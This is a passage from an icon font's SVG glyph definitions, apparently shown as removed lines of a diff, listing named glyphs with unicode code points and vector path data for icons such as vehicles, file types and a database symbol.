-M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
-q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
-q20 0 20 -21v-418z" />
-    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
-d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
-l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
-t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
-q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
-q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
-    <glyph glyph-name="_403" unicode="&#xf1ad;" 
-d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
-t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
-q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
-q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
-t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
-q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
-q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
-t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
-    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
-d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
-q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
-    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
-d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
-q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
-q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
-t100.5 134t141.5 55.5z" />
-    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
-d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
-    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
-d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
-" />
-    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
-d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
-t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
-v-400l434 -186q36 -16 57 -48t21 -70z" />
-    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
-d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
-q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
-q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
-    <glyph glyph-name="_410" unicode="&#xf1b5;" 
-d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
-t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
-t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
-    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
-d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
-q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
-q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
-    <glyph glyph-name="_412" unicode="&#xf1b7;" 
-d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
-q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
-q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
-" />
-    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
-d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
-l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
-t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
-q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
-    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
-d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
-q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
-l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
-    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
-d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
-t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
-M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
-    <glyph glyph-name="_416" unicode="&#xf1bb;" 
-d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
-q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
-    <glyph glyph-name="_417" unicode="&#xf1bc;" 
-d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
-q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
-q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
-d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
-    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
-d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
-q11 0 20 9q9 7 9 20zM35 533l20 -128l-20 -126q-2 -9 -9 -9t-9 9l-17 126l17 128q2 9 9 9t9 -9zM121 612l26 -207l-26 -203q-2 -9 -10 -9q-9 0 -9 10l-23 202l23 207q0 9 9 9q8 0 10 -9zM401 159zM213 650l25 -245l-25 -237q0 -11 -11 -11q-10 0 -12 11l-21 237l21 245
-q2 12 12 12q11 0 11 -12zM307 657l23 -252l-23 -244q-2 -13 -14 -13q-13 0 -13 13l-21 244l21 252q0 13 13 13q12 0 14 -13zM401 639l21 -234l-21 -246q-2 -16 -16 -16q-6 0 -10.5 4.5t-4.5 11.5l-20 246l20 234q0 6 4.5 10.5t10.5 4.5q14 0 16 -15zM784 164zM495 785
-l21 -380l-21 -246q0 -7 -5 -12.5t-12 -5.5q-16 0 -18 18l-18 246l18 380q2 18 18 18q7 0 12 -5.5t5 -12.5zM589 871l19 -468l-19 -244q0 -8 -5.5 -13.5t-13.5 -5.5q-18 0 -20 19l-16 244l16 468q2 19 20 19q8 0 13.5 -5.5t5.5 -13.5zM687 911l18 -506l-18 -242
-q-2 -21 -22 -21q-19 0 -21 21l-16 242l16 506q0 9 6.5 15.5t14.5 6.5q9 0 15 -6.5t7 -15.5zM1079 169v0v0v0zM881 915l15 -510l-15 -239q0 -10 -7.5 -17.5t-17.5 -7.5t-17 7t-8 18l-14 239l14 510q0 11 7.5 18t17.5 7t17.5 -7t7.5 -18zM980 896l14 -492l-14 -236
-q0 -11 -8 -19t-19 -8t-19 8t-9 19l-12 236l12 492q1 12 9 20t19 8t18.5 -8t8.5 -20zM1192 404l-14 -231v0q0 -13 -9 -22t-22 -9t-22 9t-10 22l-6 114l-6 117l12 636v3q2 15 12 24q9 7 20 7q8 0 15 -5q14 -8 16 -26zM2304 423q0 -117 -83 -199.5t-200 -82.5h-786
-q-13 2 -22 11t-9 22v899q0 23 28 33q85 34 181 34q195 0 338 -131.5t160 -323.5q53 22 110 22q117 0 200 -83t83 -201z" />
-    <glyph glyph-name="uniF1C0" unicode="&#xf1c0;" 
-d="M768 768q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 0q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127
-t443 -43zM768 384q237 0 443 43t325 127v-170q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5t-103 128v170q119 -84 325 -127t443 -43zM768 1536q208 0 385 -34.5t280 -93.5t103 -128v-128q0 -69 -103 -128t-280 -93.5t-385 -34.5t-385 34.5t-280 93.5
-t-103 128v128q0 69 103 128t280 93.5t385 34.5z" />
-    <glyph glyph-name="uniF1C1" unicode="&#xf1c1;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M894 465q33 -26 84 -56q59 7 117 7q147 0 177 -49q16 -22 2 -52q0 -1 -1 -2l-2 -2v-1q-6 -38 -71 -38q-48 0 -115 20t-130 53q-221 -24 -392 -83q-153 -262 -242 -262q-15 0 -28 7l-24 12q-1 1 -6 5q-10 10 -6 36q9 40 56 91.5t132 96.5q14 9 23 -6q2 -2 2 -4q52 85 107 197
-q68 136 104 262q-24 82 -30.5 159.5t6.5 127.5q11 40 42 40h21h1q23 0 35 -15q18 -21 9 -68q-2 -6 -4 -8q1 -3 1 -8v-30q-2 -123 -14 -192q55 -164 146 -238zM318 54q52 24 137 158q-51 -40 -87.5 -84t-49.5 -74zM716 974q-15 -42 -2 -132q1 7 7 44q0 3 7 43q1 4 4 8
-q-1 1 -1 2q-1 2 -1 3q-1 22 -13 36q0 -1 -1 -2v-2zM592 313q135 54 284 81q-2 1 -13 9.5t-16 13.5q-76 67 -127 176q-27 -86 -83 -197q-30 -56 -45 -83zM1238 329q-24 24 -140 24q76 -28 124 -28q14 0 18 1q0 1 -2 3z" />
-    <glyph glyph-name="_422" unicode="&#xf1c2;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M233 768v-107h70l164 -661h159l128 485q7 20 10 46q2 16 2 24h4l3 -24q1 -3 3.5 -20t5.5 -26l128 -485h159l164 661h70v107h-300v-107h90l-99 -438q-5 -20 -7 -46l-2 -21h-4q0 3 -0.5 6.5t-1.5 8t-1 6.5q-1 5 -4 21t-5 25l-144 545h-114l-144 -545q-2 -9 -4.5 -24.5
-t-3.5 -21.5l-4 -21h-4l-2 21q-2 26 -7 46l-99 438h90v107h-300z" />
-    <glyph glyph-name="_423" unicode="&#xf1c3;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M429 106v-106h281v106h-75l103 161q5 7 10 16.5t7.5 13.5t3.5 4h2q1 -4 5 -10q2 -4 4.5 -7.5t6 -8t6.5 -8.5l107 -161h-76v-106h291v106h-68l-192 273l195 282h67v107h-279v-107h74l-103 -159q-4 -7 -10 -16.5t-9 -13.5l-2 -3h-2q-1 4 -5 10q-6 11 -17 23l-106 159h76v107
-h-290v-107h68l189 -272l-194 -283h-68z" />
-    <glyph glyph-name="_424" unicode="&#xf1c4;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M416 106v-106h327v106h-93v167h137q76 0 118 15q67 23 106.5 87t39.5 146q0 81 -37 141t-100 87q-48 19 -130 19h-368v-107h92v-555h-92zM769 386h-119v268h120q52 0 83 -18q56 -33 56 -115q0 -89 -62 -120q-31 -15 -78 -15z" />
-    <glyph glyph-name="_425" unicode="&#xf1c5;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M1280 320v-320h-1024v192l192 192l128 -128l384 384zM448 512q-80 0 -136 56t-56 136t56 136t136 56t136 -56t56 -136t-56 -136t-136 -56z" />
-    <glyph glyph-name="_426" unicode="&#xf1c6;" 
-d="M640 1152v128h-128v-128h128zM768 1024v128h-128v-128h128zM640 896v128h-128v-128h128zM768 768v128h-128v-128h128zM1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400
-v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-128v-128h-128v128h-512v-1536h1280zM781 593l107 -349q8 -27 8 -52q0 -83 -72.5 -137.5t-183.5 -54.5t-183.5 54.5t-72.5 137.5q0 25 8 52q21 63 120 396v128h128v-128h79
-q22 0 39 -13t23 -34zM640 128q53 0 90.5 19t37.5 45t-37.5 45t-90.5 19t-90.5 -19t-37.5 -45t37.5 -45t90.5 -19z" />
-    <glyph glyph-name="_427" unicode="&#xf1c7;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M620 686q20 -8 20 -30v-544q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-166 167h-131q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h131l166 167q16 15 35 7zM1037 -3q31 0 50 24q129 159 129 363t-129 363q-16 21 -43 24t-47 -14q-21 -17 -23.5 -43.5t14.5 -47.5
-q100 -123 100 -282t-100 -282q-17 -21 -14.5 -47.5t23.5 -42.5q18 -15 40 -15zM826 145q27 0 47 20q87 93 87 219t-87 219q-18 19 -45 20t-46 -17t-20 -44.5t18 -46.5q52 -57 52 -131t-52 -131q-19 -20 -18 -46.5t20 -44.5q20 -17 44 -17z" />
-    <glyph glyph-name="_428" unicode="&#xf1c8;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M768 768q52 0 90 -38t38 -90v-384q0 -52 -38 -90t-90 -38h-384q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h384zM1260 766q20 -8 20 -30v-576q0 -22 -20 -30q-8 -2 -12 -2q-14 0 -23 9l-265 266v90l265 266q9 9 23 9q4 0 12 -2z" />
-    <glyph glyph-name="_429" unicode="&#xf1c9;" 
-d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
-M480 768q8 11 21 12.5t24 -6.5l51 -38q11 -8 12.5 -21t-6.5 -24l-182 -243l182 -243q8 -11 6.5 -24t-12.5 -21l-51 -38q-11 -8 -24 -6.5t-21 12.5l-226 301q-14 19 0 38zM1282 467q14 -19 0 -38l-226 -301q-8 -11 -21 -12.5t-24 6.5l-51 38q-11 8 -12.5 21t6.5 24l182 243
-l-182 243q-8 11 -6.5 24t12.5 21l51 38q11 8 24 6.5t21 -12.5zM662 6q-13 2 -20.5 13t-5.5 24l138 831q2 13 13 20.5t24 5.5l63 -10q13 -2 20.5 -13t5.5 -24l-138 -831q-2 -13 -13 -20.5t-24 -5.5z" />
-    <glyph glyph-name="_430" unicode="&#xf1ca;" 
-d="M1497 709v-198q-101 -23 -198 -23q-65 -136 -165.5 -271t-181.5 -215.5t-128 -106.5q-80 -45 -162 3q-28 17 -60.5 43.5t-85 83.5t-102.5 128.5t-107.5 184t-105.5 244t-91.5 314.5t-70.5 390h283q26 -218 70 -398.5t104.5 -317t121.5 -235.5t140 -195q169 169 287 406
